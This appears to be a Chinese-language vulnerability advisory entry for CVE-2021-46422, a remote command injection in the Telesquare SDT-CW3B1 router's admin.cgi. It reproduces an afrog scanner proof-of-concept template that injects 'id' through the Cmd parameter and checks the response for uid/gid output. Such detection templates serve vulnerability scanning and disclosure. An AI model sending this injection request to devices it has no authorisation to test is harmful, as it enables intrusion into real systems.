CVE-2021-46422: Telesquare SDT-CW3B1 admin.cgi 远程命令执行漏洞

日期: 2025-09-01 | 影响软件: Telesquare SDT-CW3B1 | POC: 已公开

漏洞描述

Telesquare SDT-CW3B1 1.1.0版本中存在命令注入漏洞，攻击者通过漏洞可以获取服务器权限 app="SDT-CS3B1"

PoC代码[已公开]

id: CVE-2021-46422

info:
  name: Telesquare SDT-CW3B1 admin.cgi 远程命令执行漏洞 
  author: zan8in
  severity: critical
  description: |
    Telesquare SDT-CW3B1 1.1.0版本中存在命令注入漏洞，攻击者通过漏洞可以获取服务器权限
    app="SDT-CS3B1"
  reference:
    - http://wiki.peiqi.tech/wiki/iot/Telesquare/Telesquare%20SDT-CW3B1%20admin.cgi%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2021-46422.html

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id
    expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2021/CVE-2021-46422.yaml

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